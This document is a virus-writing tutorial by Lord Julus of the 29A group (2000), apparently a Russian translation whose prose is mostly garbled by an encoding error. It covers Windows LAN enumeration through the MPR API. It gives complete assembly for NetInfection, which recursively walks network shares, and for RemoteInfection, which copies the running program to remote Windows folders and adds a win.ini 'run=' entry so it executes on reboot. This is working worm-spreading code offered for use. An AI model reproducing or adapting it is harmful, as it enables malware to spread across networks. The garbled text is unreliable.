
Ŀ
                                                                    
                        
                                    
                           
                                          
Ĵ
                                  5                           
ٰ



              ᮡ  ᠭ ⥢ ᮢ
                        (ࠣ )
                         Lord Julus, 2000

*************************** ॢ by DrMAD **************************

  Ŀ
                           
   Microsoft's LAN standard  
                           
  

      ᥣ,   ᥩ ਬ  Windows-,  ?  ...
᭮  Microsoft ।⠢ 祭 㤮 ।⢠,   
襬   ⢮  LAN.   ᭠  묨
⠫ﬨ  ,   Microsoft 頥  ࠧ ࢨᠬ,   
 룫廊  Windows.

         ⥪ MPR.

    ⥪ MPR  ,   㦭   ⢮
  LAN.    뢠  MPR.DLL      㦥  ⥬
⠫ (SYSTEM  SYSTEM32).    ணࠬ      
㧨    ⥪    ॡ㥬 権 ।
⥬,       LAN.      祣  ᮡ,
  ᯮ  API-㭪樥 LoadLibrary  㧨  ⠪ ,
   .

     ⪮ ᬮਬ 騥  API:

        WNetOpenEnumA
        WNetEnumResourceA
        WNetTCloseEnum

    ⭮, ?  쪮  API-㭪樨,    ᬮ   
 ᤥ?  ,   㢨,   ⠪   ᫮ ணࠬ஢ 
  ,  ⮬          ᯮ짮   ॥ࠡ
楤,  ࠭   ⥪,  室 墠뢠
 ᢮ ,        ᥣ-      饩
ࠡ.

    砫   㤨   NETRESOURCEA,   
 ன, ᯮ㥬  ࠡ  :


        NETRESOURCEA STRUC
                     dwScope       DW ?
                     dwType        DW ?
                     dwDisplayType DW ?
                     dwUsage       DW ?
                     lpLocalName   DD ?
                     lpRemoteName  DD ?
                     lpComment     DD ?
                     lpProvider    DD ?
        NETRESOURCEA ENDS

        :

    dwScope - ।,         饬;    祭
 롨  ᫥ ਠ⮢:

    RESOURCE_CONNECTED=00000001h - 㥬 ;
    RESOURCE_GLOBALNET=00000002h -  쭮 ;
    RESOURCE_REMEMBERED=00000003h - ।⥫쭮 饭
                                    ;

    dwType - ।,  ⨯   饬;  祭 
롨  ᫥ ਠ⮢:

    RESOURCETYPE_ANY=00000000 - ;
    RESOURCETYPE_DISK=00000001 - /䠩;
    RESOURCETYPE_PRINT=00000002 - ਭ.

    dwUsage -      ᯮ짮    ?    祭  
롨  ᫥ ਠ⮢:

    RESOURCEUSAGE_CONNECTABLE=00000001h -  易;
    RESOURCEUSAGE_CONTAINER=00000002h -    ᮤন     㣨
宦;
    RESOURCEUSAGE_RESERVED = 80000000h - ???.


    lpLocalName - 㪠⥫  ப,   ᮤন 쭮  
⥢ ன⢠.

    lpRemoteName - 㪠⥫  ப,  ᮤন 㤠 
⥢ ன⢠.

    lpProvider and lpComment -  ,  ᮤঠ 
.

    ,     祭   .    㢨,   㤥
ᬠਢ  ⠪,  ᫮   ᬠਢ 䠩  HDD   
        室  ଠ.  ⮡  ᤥ,
-     ᫥.    ᫥饩
㭪樥:

        WNetOpenEnumA(
             IN DWORD          dwScope,
             IN DWORD          dwType,
             IN DWORD          dwUsage,
             IN LPNETRESOURCEA lpNetResource,
             OUT LPHANDLE      lphEnum
            );

    ⠪,     ᪠  ⥬,   ᪠,   ⨯  
ᯮ짮  ,      ,  ⮬      ।
㪠⥫    RETRESOURCE,   ୥  
᫥.  筮      ᭠砫  ᯮ    ,
  稭  NULL  lpNetResource,   砥,   
   ᬮ७.  ᫥ ⮣,     砥  ⮥
᫥,   ᫥⥫쭮 ᫨ :

       WNetEnumResourceA(
            IN HANDLE      hEnum,
            IN OUT LPDWORD lpcCount,
            OUT LPVOID     lpBuffer,
            IN OUT LPDWORD lpBufferSize
           );


    hEnum -  䠩,    饭 楤ன WNetOpenEnum

    lpcCount -       宦      ?  筮  
㪠뢠  祭 讥 ᫮ ⨯ 0FFFFFFFFh,     宦
 ᬮ७.  㭪 ୥  ⮬  ॠ쭮 ᫮ 
ᮢ.

    lpBuffer -  ,    㤥    ᨢ  
NETRESOURCE.            㢥७,       筮
࠭⢠    ⮬  .        ந쭮
浪.   ॡ  ᬮ    宦,  ⮡  
᪠஢ .

    lpBufferSize - ࠧ , ਭ饣 

    ᫥ ⮣,    ᬮ ᮢ,  ਭ
। ᫥,     ᫥:

        WNetCloseEnum(
            IN HANDLE   hEnum
            );


    ,     쪨    -㭪権,         
ᯮ짮.     ᬮਬ 让 , 
   ࠧ,    ஥.

  Ŀ
       
   Code  
       
  

    ० ᥣ,   ,      楯樥 
⮪.    楯  ப  ᯮ      ᮪஢
몠,    砥,     ६,  ঠ
᢮  祭    ⥪,      ࠧ    맮  ⮩  楤
墠뢠  ࠭⢮  ⥪  ᮤঠ ६. 
祬    뢠  楤  ४ᨢ  (..,   楤
뢠 ᠬ ᥡ)   祭 ६,    ࠭
  ⥪    ⥪  ६頥     맮 楤
   .    祭  䠪⮢ ⮨  ⮬,  
뢠  ⠪  楤    ࠧ,        
 ᫥騩 :


        MyProc proc C var1:DWORD, var2:DWORD
        local v1:DWORD
        local v2:DWORD

        mov eax, var2
        mov edx, v1
        ret
        MyProc Endp

    ᫥ 樨  룫廊 ਬ୮ ⠪:

        enter 0008, 00
        mov eax, [ebp+0ch]
        mov edx, [ebp-04h]
        leave
        ret

     ⥪ । 室 ᮤন ᫥饥:

        var2                        = EBP + 0ch
        var1                        = EBP + 08
        < >            = EBP + 04h
EBP =   <࠭ ebp>           = EBP + 00h
        v1                          = EBP - 02h
ESP =   v2                          = EBP - 04h

    ⠪,    ,     ᯮ짮 EBP  ࠡ,
⮬   ⮬᪨  樨,   ᠬ
ᯮ  EBP    㣨 楫.  ⮬   ᯮ짮 
࠭  㣮  ॣ,      EBP.  ,    ᯮ
 ६  ࠭ ,  ਬ, ᫨  ࠭ 
ESI,  㯠 ⠪:

        mov edx, [esi+v1]

     訡!  ६ "v1" ᯮ    ⥪    
६!

    ,          ᪠,      襬     楤
஢ . ᭮,   ᤥ,  ᮧ ᫥
     ,    ⮬      ,    
⥩஬,   㤥 뢠 㣮 ᫥  ⠪    ,
     宦.    ,   
᪮,  ⠥     ஢ :

 NetInfection proc C lpnr:DWORD   ;
 local lpnrLocal :DWORD           ;
 local hEnum     :DWORD           ;
 local ceEntries :DWORD           ;
 local cbBuffer  :DWORD           ;

    :
    lpnr =  ⥢ ᫥  室;
    lpnrLocal =  ᫥, ।  ࠬ;
    hEnum =  ᫥;
    ceEntries = ⢮ 宦  ᫥;
    cbBuffer =    ᫥.

     ⨬ ६   ॣ EDX:

       pusha                         ; ࠭塞  ॣ
       call get_new_delta            ; ६ 
get_new_delta:                       ;
       pop edx                       ;
       sub edx, offset get_new_delta ;

     ⥯      樠㥬      ६  
⠥  ᫥:

       mov [ceEntries], 0FFFFFFFFh ;   宦
       mov [cbBuffer], 4000        ; ࠧ 
       lea eax, [hEnum]            ;  ᫥
       mov esi, [lpnr]             ; ࠬ
       call [edx+_WNetOpenEnumA],\ ;    API-㭪
            RESOURCE_CONNECTED,\   ; 㥬 
            RESOURCETYPE_ANY, 0,\  ;  ⨯ ᮢ
            esi,\                  ; 㤠 
            eax                    ; 㤠  
                                   ;
       or eax, eax                 ; 訡?
       jnz exit_net                ;

    ᫨     ,   ᯥ譮 뫨 ᫥ ⥢
ᮢ.    㦭   祭 ,  ⮬  
 墠⨬. 㬠, 4000 ⮢ 㤥 筮:

       call [edx+_GlobalAlloc], GPTR, cbBuffer ; 墠
       or eax, eax           ;
       jz exit_net           ;
       mov [lpnrLocal], eax  ; ࠭   

           ᫥     㯭      
 묨... ,  ⠫,  ᫨ :

enumerate:                           ;
       lea eax, cbBuffer             ; 塞 
       push eax                      ;  
       mov esi, [lpnrLocal]          ;   ?
       push esi                      ;
       lea eax, ceEntries            ; ᪮쪮 宦?
       push eax                      ;
       push hEnum                    ;  ᫥
       call [edx+_WNetEnumResourceA] ;
                                     ;
       or eax, eax                   ; 訡?
       jnz free_mem                  ;

    , ᫨   諨,    砥,    ᫥  ⠪
ᯥ譮.  ⢮ 宦  ⮬ ॢ ᮢ 頥  
 ६ ceEntries.  ,    ,    
ᯮ짮   ⢥ 稪 横:

       mov ecx, [ceEntries]              ;   宦?
       or ecx, ecx                       ;
       jz enumerate                      ;
                                         ;
roam_net:                                ;
       push ecx esi                      ; ࠭ ...
                                         ;
       mov eax, [esi.dwType]             ;  ᪮ ?
       test eax, RESOURCETYPE_DISK       ;
       jz get_next_entry                 ;  - ய
                                         ; ( .. ਭ)
                                         ;
       mov edi, [esi.lpRemoteName]       ;  㤠 
       mov esi, [esi.lpLocalName]        ;  쭮 
       or esi, esi                       ; ?
       jz no_good_name                   ;
                                         ;
       cmp word ptr [esi],0041           ;  ᪥?
       jz no_good_name                   ; ("A")
                                         ;
       call RemoteInfection              ;  ࠧ
                                         ;
no_good_name:                            ;
       pop esi                           ;
                                         ;
       mov eax, [esi.dwUsage]            ;    ⥩?
       test eax, RESOURCEUSAGE_CONTAINER ;
       jz get_next_entry                 ;


    , ᫨    ⥩,   砥,    
室  ,  ⠪        ४ᨢ   뢠   
楤,    ⥪ ॣ ESI,  ᮤন ६ 
 :

       push esi                          ;
       call NetInfection                 ; ४!


    ,   㣨 ⢥ ॢ쥢  ⭮ , 
  த  ᬮ  ⠢  .   ⮣ 
㢥稢 ESI  20h,     ࠧ஬  ⥢  ,  
横:

get_next_entry:                       ;
       add esi, 20h                   ; ᫥騩 !
       pop ecx                        ;
       loop roam_net                  ;
                                      ;
       jmp enumerate                  ; ᫥饥 ᫥

    筮, ᫥ 砭  墠⨬ 祭  , ⠪  
  ०  ᥣ  ᢮    墠祭  ,   
 ᫥    楤:

free_mem:                                  ;
       call [edx+_GlobalFree], [lpnrLocal] ; ᢮ 
       call [edx+_WNetCloseEnum], [hEnum]  ;  .
                                           ;
exit_net:                                  ;
       popa                                ;
       ret                                 ;
NetInfection endp                          ;

     ,    믮 ᪮쪮 ஢ப: ⨬  
㤠 ,    ᪥,  ⮫쪮    ⨢  砥  
뢠   楤 Remote Infection.    :  ESI
ᮤন  㤠 .    ?     
⢠  ⥩,       ᯮ짮,   ஢७ 
   த  ࠡ⠥.   砥  ⮬, 
᫨    ᮥ    㣮   Windows-,   
ࠩ   ⠫  ᠬ Windows-.    ⮬  ⠫
    WIN.INI,  ⠢  ᮢ⨬  묨
ﬨ.  㬥,   ,     ⠪  ⠫  
  Windows,  Win98,  WinNT    - த ⮣.  ,   
⠥ ᤥ,   Windows-᪨ ⠫  쭮 ࠡ祩
⠭樨    ,     易 १ ,  
 ⠢ ⥬  ᠬ묨. ⮤ ஢ ࠧ ⠫
  (ᯮ짮 Gryio   Cholera).  ,    㦭 - 
ᣥ஢ 窨 :

        <remote name>\Windows\win.ini
        <remote name>\WinNT\win.ini
        <remote name>\Win95\win.ini
        <remote name>\Win98\win.ini

     ஢,  ᯥ譮     䠩 WIN.INI.  ᫨ ,   
砥,   諨 !

    騩 蠣 - ᪮஢ 믮騩   饥  ६  䠩
१      ⠫  Windows.    祭   ᤥ  
CopyFileA.  ᫥ ⮣  室 ᮧ   䠩  win.ini
⨯:

        [Windows] (  ⠬   ⠫ )
        run=c:\windows\file.exe

     䠩 file.exe 㤥 ⥫  ࠧ    쭮  ,
⮫쪮    㣨  .    ᫥饩  १㧪 䠩 win.ini
 ணࠬ file.exe,      㤥  :    ⠫
Windows  㤥  ࠦ.   짮⥫  㤥 룫拉 ࠭,
   ணࠬ  ⮬᪨    ᫥  १㧪,
...   祣  ᬮ  ⨬ . ⮬   
  ᭠  -  ⮩  誮  (  ਤ뢠   
⥩).  ⥫ ࠧ  ஢ ᮤন ⠫
Windows,   ᫨   䠩 file.exe,     ᮮ⢥饩
窨    win.ini,    ᫨   窠,    䠩,   㦭
㤠  䠩,  ,   㤥  .

    㣠 ᭠  砥  ⮬,        ᤥ
,  ⨢    ॥  쭮     㤠  
஢      ୮  ࠦ      筮,
ਬ.  -,    筥  ᨫ쭮  ମ,    ࠡ稥
⠭樨 ஢     㣠  ॣ୮  ஢
୮.    ⮬  砥    ࢠ    ஢  
᫥饣   ⮬  㤨.  ᫨  -  ⠭
㤥 饭,  㤥 ஢ .

       ⥯  蠣  ᬮਬ,   믮 ,    
᭨:

    -,  ࠭  ॣ,        
    ॣ  EBP,  ⮬   ⮩ 楤    砥
ਬ  ॣ:

                             ;
RemoteInfection proc         ;
       pusha                 ;
       call @___1            ; ⠭ 
@___1:                       ;
       pop ebp               ;
       sub ebp, offset @___1 ;


            ࠡ饣 䠩 ( ஢),  
᫠   १ :

       push 260                       ;
       lea eax, [ebp+myname]          ;  ⥪饣 䠩
       push eax                       ;
       push 0                         ;
       call [ebp+_GetModuleFileNameA] ;
       or eax, eax                    ;
       jz cannot_roam                 ;

     ॡ  ࠧ  ⠫  Windows    ᮧ
 ய   䠩 win.ini.

       lea esi, [ebp+windirs]        ; 㪠뢠  । 
                                     ;
test_paths:                          ;
       lea ebx, [ebp+droppername]    ; 㥬   ய
       call [ebp+_lstrcpy], ebx, edi ;
       lea ebx, [ebp+winininame]     ; 㥬   win.ini
       call [ebp+_lstrcpy], ebx, edi ;
                                     ;
       lea ebx, [ebp+droppername]    ; 㥬 ⠫ windows
       call [ebp+_lstrcat], ebx, esi ;
       lea eax, [ebp+drop]           ;   ய
       call [ebp+_lstrcat], ebx, eax ;

     ।,    ⠫  Windows      
뢠 "C:\Windows",  믮塞 䠩 CALC.EXE.  稬:

        droppername = "C:\Windows\file.exe"
        winininame  = "C:\Windows\win.ini"
        myname      = "C:\Windows\calc.exe"

         ᪮㥬 ᢮ 䠩  ய:
                                     ;
       push TRUE                     ; ⥯ 㥬 ᥡ
       push ebx                      ; १ LAN  
       lea eax, [ebp+myname]         ;   㤠
       push eax                      ; ⠫ windows
       call [ebp+_CopyFileA]         ;
       or eax, eax                   ;
       jz test_next                  ;

    ⠫ ᮧ   䠩 win.ini,  㤥  
䠩 file.exe  ᫥饩 १㧪:

       lea ebx, [ebp+winininame]     ; ᪮஢  ⠫ windows
       call [ebp+_lstrcat], ebx, esi ;  ய  win.ini
       lea eax, [ebp+winini]         ;
       call [ebp+_lstrcat], ebx, eax ;  
                                     ;
       lea eax, [ebp+winininame]     ;  ᮧ 
       push eax                      ;  䠩 win.ini:
       lea eax, [ebp+droppername]    ;
       push eax                      ; [Windows]
       lea eax, [ebp+cmd]            ; run=c:\windows\ramm.exe
       push eax
       inc esi
       push esi
       call [ebp+_WritePrivateProfileStringA]
       jmp cannot_roam

    筮, ᫨  ⠫  "Windows"  宩,    楤  
த  । 㣨 ਠ⮢ :

test_next:                     ;
       @endsz                  ; ஢ 㣮 ਠ
       cmp byte ptr [esi], 0fh ; ⠫ windows!
       jne test_paths          ;
                               ;
cannot_roam:                   ;
       popa                    ;
       ret                     ;

     ﭨ  ।  ६:

windirs db "\Windows", 0       ;
        db "\WinNT"  , 0       ;
        db "\Win"    , 0       ;
        db "\Win95"  , 0       ;
        db "\Win98"  , 0       ;
        db 0fh                 ;
                               ;
winini  db "\Win.ini" , 0      ;
drop    db "\file.exe", 0      ;
cmd     db "run"      , 0      ;
                               ;
myname      db 260 dup(0)      ;
droppername db 260 dup(0)      ;
winininame  db 260 dup(0)      ;
RemoteInfection endp           ;

       ⮬!!!    ⭮,  ᪮쪮 ⮪ ,  
    ᤥ.  筮,   ⨦ ᯥ  
  襮ᠭ  楤    稭    堪.  
室,  ᪮    ⮩ ன ଥ,    ।⠢,  
,  ᫨    饭 ஫,  ᫨  
 ७.  ਤ   䠩, ⮡  ࠢ
,    ,    ⥫ ᪠  ⮩ .

     ,    ⭮,    ,    , ᫨
ᯮ     ਤ㬠  ,   ,  
㤮...                  ᥬ               :
lordjulus@geocities.com...

                                Ŀ
                                   Lord Julus / 29A (2000)  
                                
